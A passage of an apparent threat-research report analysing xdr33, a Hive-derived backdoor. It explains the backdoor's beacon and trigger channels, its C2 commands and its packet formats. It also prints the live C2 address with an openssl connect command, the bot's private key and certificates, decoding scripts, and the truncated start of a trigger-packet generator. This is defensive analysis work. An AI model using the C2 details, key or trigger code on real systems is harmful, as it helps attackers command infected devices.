beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.\n\nThe functional schematic is shown below.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_function.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_function.png\" class=\"kg-image\"/></a>\n\nHive uses the `BEACON_HEADER_VERSION `macro to define the specified version, which has a value of `29` on the Master branch of the source code and a value of `34` in `xdr33`, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:\n\n- New CC instructions have been added\n- Wrapping or expanding functions\n- Structs have been reordered and extended\n- Trigger message format\n- Addition of CC operations to the Beacon task\n\n\nThese modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.\n\n# Vulnerability Delivery Payload\n\nThe md5 of the Payload we captured is `ad40060753bc3a1d6f380a5054c1403a`, and its contents are shown below.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_logd.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_logd.png\" class=\"kg-image\"/></a>\n\n\nThe code is simple and straightforward, and its main purpose is to\n\n- Download the next stage of the sample and disguise it as `/command/bin/hlogd`.\n\n- Install `logd` service for persistence.\n\n# Sample analysis\n\nWe captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.\n\n```\nMD5:ee07a74d12c0bb3594965b51d0e45b6f\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nPacker: None\n```\n\nSimply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_main.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_main.png\" class=\"kg-image\"/></a>\n\nThe following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.\n\n# Decrypting configuration information\n\nxdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_decode.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_decode.png\" class=\"kg-image\"/></a>\n\n\n\nIn IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_idaxref.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_idaxref.png\" class=\"kg-image\"/></a>\n\nThe decryption results are shown below, including Beacon C2 `45.9.150.144`, runtime prompt messages, commands to view device information, etc.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_config.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_config.png\" class=\"kg-image\"/></a>\n\n\n\n# Beacon Task\n\nThe main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.\n\n## 0x01: Information Collection\n\n\n* MAC\n\n  Query MAC by `SIOCGIFCON` or `SIOCGIFHWADDR`\n  \n     <a href=\"__GHOST_URL__/content/images/2022/12/hive_mac-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_mac-1.png\" class=\"kg-image\"/></a>\n\n* SystemUpTime\n\n  Collects system up time via /proc/uptime\n  \n     <a href=\"__GHOST_URL__/content/images/2022/12/hive_uptime.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_uptime.png\" class=\"kg-image\"/></a>\n\n* Process and network-related information\n\n  Collect process, NIC, network connection, and routing information by executing the following 4 commands\n  \n    <a href=\"__GHOST_URL__/content/images/2022/12/hive_netinfo.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_netinfo.png\" class=\"kg-image\"/></a>\n\n## 0x02: Information processing\n\nXdr33 combines different device information through the update_msg function\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_compose.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_compose.png\" class=\"kg-image\"/></a>\n\nIn order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and \"3, 4, 5, 6\" in the above figure represents different Header Type.\n\n```\ntypedef struct __attribute__ ((packed)) add_header {\n\tunsigned short type;\n\tunsigned short length;\n} ADD_HDR;\n\n```\n\nWhat does \"3, 4, 5, 6\" represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing `Sha1[:32] of MAC`, and `PID of xdr33` respectively\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_type.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_type.png\" class=\"kg-image\"/></a>\n\nSome of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_deviceinfo.png\" class=\"kg-image\"/></a>\n\nIt is worth mentioning that type=0, `Sha1[:32] of MAC`, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.\n```\nmac:00-0c-29-94-d9-43,remove \"-\"\nresult:00 0c 29 94 d9 43\n\nsha1 of mac:\nresult:c55c77695b6fd5c24b0cf7ccce3e464034b20805\n\nsha1[:32] of mac:\nresult:c55c77695b6fd5c24b0cf7ccce3e4640\n```\n\n\nWhen all the device information is combined, use bzip to compress it and add 2 bytes of `beacon_header_version` and 2 bytes of OS information in the header.\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_devicebzip.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_devicebzip.png\" class=\"kg-image\"/></a>\n\n## 0x03: Network Communication\nThe communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.\n\n- Two-way SSL authentication\n- Obtain XTEA key\n- Report XTEA encrypted device information to C2\n- Execute the commands sent by C2\n\n### Step1: Two-way SSL Authentication\n\n   Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.\n   <a href=\"__GHOST_URL__/content/images/2022/12/hive_certi.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_certi.png\" class=\"kg-image\"/></a>\n      \n   The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.\n   <a href=\"__GHOST_URL__/content/images/2022/12/hive_certconf.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_certconf.png\" class=\"kg-image\"/></a>\n  \n   The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.\n   <a href=\"__GHOST_URL__/content/images/2022/12/hive_sslsock.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_sslsock.png\" class=\"kg-image\"/></a>\n    \n   The Bot certificate can be viewed using `openssl x509 -in Cert -inform DER -noout -text`, where CN=xdr33, which is where the family name comes from.\n   <a href=\"__GHOST_URL__/content/images/2022/12/hive_botcert.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_botcert.png\" class=\"kg-image\"/></a>\n    \n   You can use `openssl s_client -connect 45.9.150.144:443` to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.\n   \n   <a href=\"__GHOST_URL__/content/images/2022/12/hive_c2cert.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_c2cert.png\" class=\"kg-image\"/></a>\n    \n   The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.\n   <a href=\"__GHOST_URL__/content/images/2022/12/hive_ca.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_ca.png\" class=\"kg-image\"/></a>\n\n\n### Step2: Obtain XTEA key\n\n  After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.\n  <a href=\"__GHOST_URL__/content/images/2023/01/hive_teakey.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_teakey.png\" class=\"kg-image\"/></a>\n\nThe processing logic is.\n\n1. Bot sends 64 bytes of data to C2 in the format of \"length of device information length string (xor 5) + device information length string (xor 5) + random data\".\n\n2. Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.\n\n\n   ```\n   XOR_KEY=5\n   def get_key(rand_bytes):\n   \toffset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15\n   \treturn  rand_bytes[(offset+1):(offset+17)]\n   ```\n\n   \n\n### Step3: Report XTEA encrypted device information to C2\n\nBot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.\n  <a href=\"__GHOST_URL__/content/images/2023/01/hive_teadevice.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_teadevice.png\" class=\"kg-image\"/></a>\n\nIt is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.\n\n\n### Step4: Waiting for execution command (new function added by xdr33)\n\nAfter the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.\n  <a href=\"__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png\" class=\"kg-image\"/></a>\n\n  The supported instructions are shown in the following table.\n\n  | Index | Function                                          |\n  | ----- | ------------------------------------------------- |\n  | 0x01  | Download File                                     |\n  | 0x02  | Execute CMD with fake name \"[kworker/3:1-events]\" |\n  | 0x03  | Update                                            |\n  | 0x04  | Upload File                                       |\n  | 0x05  | Delete                                            |\n  | 0x08  | Launch Shell                                      |\n  | 0x09  | Socket5 Proxy                                     |\n  | 0x0b  | Update BEACONINFO                                     |\n  \n  \n## Network Traffic Example\n\n### The actual step2 traffic generated by xdr33\n\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_packet.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_packet.png\" class=\"kg-image\"/></a>\n\n### The interaction in step3, and the traffic from step4\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_packetB.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_packetB.png\" class=\"kg-image\"/></a>\n\n\n### What information can we get from this?？\n\n1. The length of the device information length string, `0x1 ^ 0x5 = 0x4`\n\n2. The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720\n\n3. tea key `2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A`\n\n4. C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point\n\n5. The number of tasks in this cycle is `00 00 00 00 00 00 00`, i.e. there is no task, so no specific task of 264 bytes will be issued.\n\nThe encrypted device information can be decrypted by the following code, and the decrypted data is `00 22 00 14 42 5A 68 39`, which contains the `beacon_header_version + os + bzip magic`, and the previous analysis can correspond to one by one.\n\n```\nimport hexdump\nimport struct\n\ndef xtea_decrypt(key,block,n=32,endian=\"!\"):\n    v0,v1 = struct.unpack(endian+\"2L\", block)\n    k = struct.unpack(endian+\"4L\",key)\n    delta,mask = 0x9e3779b9,0xffffffff\n    sum = (delta * n) & mask\n    for round in range(n):\n        v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask\n        sum = (sum - delta) & mask\n        v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask\n    return struct.pack(endian+\"2L\",v0,v1)\n\ndef decrypt_data(key,data):\n    size = len(data)\n    i = 0\n    ptext = b''\n    while i < size:\n        if size - i >= 8:\n            ptext += xtea_decrypt(key,data[i:i+8])\n        i += 8\n    return ptext\nkey=bytes.fromhex(\"\"\"\n2E 09 9B 08 CF 53 BE E7  A0 BE 11 42 31 F4 45 3A\n\"\"\")\nenc_buf=bytes.fromhex(\"\"\"\n65 d8 b1 f9 b8 37 37 eb\n\"\"\")\n\nhexdump.hexdump(decrypt_data(key,enc_buf))\n```\n# Trigger Task\n\nThe main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.\n\n\n\n## 0x1: Listening for traffic\n\nUse the function call `socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )` to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_snfpkt.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_snfpkt.png\" class=\"kg-image\"/></a>\n\n\n\n## 0x2: Checksum Trigger packets\n\nTCP and UDP messages that meet the length requirement are further verified using the same check_payload function.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_handxref.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_handxref.png\" class=\"kg-image\"/></a>\n\n**check_payload**的代码如下所示:\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_checkpayload.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_checkpayload.png\" class=\"kg-image\"/></a>\n\nThe processing logic can be seen as follows.\n\n- Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue\n- The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset\n- Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step\n- Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step\n- Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod\n\n\nSo far it can be determined that the `Trigger message format` is as follows\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png\" class=\"kg-image\"/></a>\n\n## 0x3:  Checksum Trigger Payload\n\nIf the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png\" class=\"kg-image\"/></a>\n\nThe processing logic can be seen as follows\n\n- Take the last 2 bytes of the Trigger Payload and write it as crcRaw\n- Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc\n- Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.\n\nNext, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 `46a3c308401e03d3195c753caa14ef34a3806593` in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.\n\nThe format of the `Trigger Payload` can be determined as follows.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png\" class=\"kg-image\"/></a>\n\n## 0x4: Execution of Trigger C2's command\n\nAfter a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggercmd.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggercmd.png\" class=\"kg-image\"/></a>\n\nThe supported instructions are shown in the following table.\n\n| Index      | Function      |\n| ---------- | ------------- |\n| 0x00,0x00a | Exit          |\n| 0x01       | Download File |\n| 0x02       | Execute CMD   |\n| 0x04       | Upload File   |\n| 0x05       | Delete        |\n| 0x06       | Shutdown      |\n| 0x08       | Launch SHELL  |\n| 0x09       | SOCKET5 PROXY |\n| 0x0b       | Update BEACONINFO |\n\nIt is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_aes.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_aes.png\" class=\"kg-image\"/></a>\n\n# Experiment\n\nTo verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of `NetlabPatched,Enjoy!` and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_patchbylab.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_patchbylab.png\" class=\"kg-image\"/></a>\n\nWe run the Patch in the virtual machine `192.168.159.133` after the xdr33 sample, the construction of C2 for `192.168.159.128:6666` Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_vmware.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_vmware.png\" class=\"kg-image\"/></a>\n\n\n\n\n\n# Contact us\n\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email us to netlab[at]360.cn.\n\n# IOC\n## sample\n```\nee07a74d12c0bb3594965b51d0e45b6f\n\npatched sample\n\naf5d2dfcafbb23666129600f982ecb87\n```\n\n## C2\n```\n45.9.150.144:443\n```\n\n## BOT Private Key\n```\n-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ\nmIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je\no17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI\n4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK\nyTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut\n90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO\nNljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG\naRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE\n49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/\nKVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf\n0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk\nIto7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb\nZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu\nYH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/\nzygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8\naIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI\nhQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd\n+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC\n7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi\nFzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj\nGe17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet\nKV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf\n7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD\npoCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+\n7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID\n-----END RSA PRIVATE KEY-----\n\n```\n## BOT Certificate\n```\n-----BEGIN CERTIFICATE-----\nMIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\nMB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV\nMR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l\nZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM\nBk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh\nJlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0\nalW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz\nWtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv\nc+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q\n1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA\nMB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz\nBcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV\nBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU\naGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2\naWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB\nMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G\nA1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B\nAQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy\nqend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P\no6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c\nd707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3\nngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI\nlHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==\n-----END CERTIFICATE-----\n\n```\n\n## CA Certificate\n```\n-----BEGIN CERTIFICATE-----\nMIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\nMB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB\nMRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG\nA1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp\nb24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl\ncnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv\nbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr\n3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg\n3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d\nhbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV\nAV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf\ntLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC\nJzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb\n8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0\n/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl\nMRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n\nIGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw\nHwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW\nGXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G\nCSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF\ntLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6\nu4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw\nLCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//\nkzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm\nyRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX\n-----END CERTIFICATE-----\n\n```\n\n\n# 附录\n##0x1 Decode_RES\n\n```\nimport idautils\nimport ida_bytes\n\ndef decode(addr,len):\n    tmp=bytearray()\n    \n    buf=ida_bytes.get_bytes(addr,len)\n    for i in buf:\n        tmp.append(~i&0xff)\n\n    print(\"%x, %s\" %(addr,bytes(tmp)))\n    ida_bytes.put_bytes(addr,bytes(tmp))\n    idc.create_strlit(addr,addr+len)\n    \ncalllist=idautils.CodeRefsTo(0x0804F1D8,1)\nfor addr in calllist:\n    prev1Head=idc.prev_head(addr)\n    if 'push    offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:\n        bufaddr=idc.get_operand_value(prev1Head,0)\n        prev2Head=idc.prev_head(prev1Head)\n        \n        if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:\n            leng=idc.get_operand_value(prev2Head,0)\n            decode(bufaddr,leng)\n\n```\n\n## 0x02 GenTrigger\n\n```\nimport random\nimport socket\n\n\ndef crc16(data: 